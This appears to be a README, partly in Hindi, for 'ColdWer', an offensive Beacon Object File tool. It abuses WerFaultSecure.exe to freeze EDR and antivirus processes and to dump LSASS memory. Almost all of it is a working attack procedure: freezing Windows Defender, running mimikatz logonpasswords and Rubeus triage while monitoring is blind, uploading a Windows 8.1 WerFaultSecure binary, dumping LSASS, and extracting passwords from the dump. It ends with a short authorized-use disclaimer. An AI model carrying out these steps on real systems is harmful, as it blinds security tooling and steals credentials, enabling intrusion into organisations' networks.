C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# स्रोत निर्देशिका पर जाएँ
cd src/

# BOF संकलित करें (MinGW आवश्यक)
make

# या मैन्युअल रूप से:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# Windows Defender PID खोजें
beacon> ps

# प्रक्रिया फ़्रीज़ करें
beacon> cw-freeze 1337

# EDR/AV फ़्रीज़ होने पर अपने कमांड निष्पादित करें
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# समाप्त होने पर अनफ़्रीज़ करें
beacon> cw-unfreeze

# चरण 1: Win8.1 WerFaultSecure.exe अपलोड करें
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# चरण 2: LSASS PID खोजें
beacon> ps

# चरण 3: LSASS डंप करें
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# चरण 4: डंप डाउनलोड करें
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# डिफ़ॉल्ट पथ से फ़्रीज़ करें
beacon> cw-freeze 1337

# कस्टम WerFaultSecure.exe का उपयोग करें
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# LSASS डंप करें
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# समाप्त होने पर अनफ़्रीज़ करें
beacon> cw-unfreeze

1. 🚀 WerFaultSecure.exe को PPL (WinTcb स्तर) के रूप में लॉन्च करें
                    ↓
2. 🎯 WerFaultSecure लक्ष्य प्रक्रिया से जुड़ता है
                    ↓
3. ⏸️  MiniDumpWriteDump सभी लक्ष्य थ्रेड को निलंबित करता है
                    ↓
4. 🥶 WerFaultSecure को स्वयं निलंबित करें → लक्ष्य फ़्रीज़ रहता है
                    ↓
5. ✅ अपने कमांड निष्पादित करें (EDR/AV नहीं देख सकता!)
                    ↓
6. 🔥 WerFaultSecure को समाप्त करें → लक्ष्य अनफ़्रीज़ हो जाता है

⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए

यह उपकरण इसके लिए अभिप्रेत है:
- अधिकृत पेनिट्रेशन परीक्षण
- लिखित अनुमति के साथ रेड टीम संचालन
- नियंत्रित वातावरण में सुरक्षा अनुसंधान

लेखक इस उपकरण के किसी भी दुरुपयोग या इससे होने वाली क्षति के लिए उत्तरदायी नहीं है।
कंप्यूटर सिस्टम में अनधिकृत पहुँच गैरकानूनी है।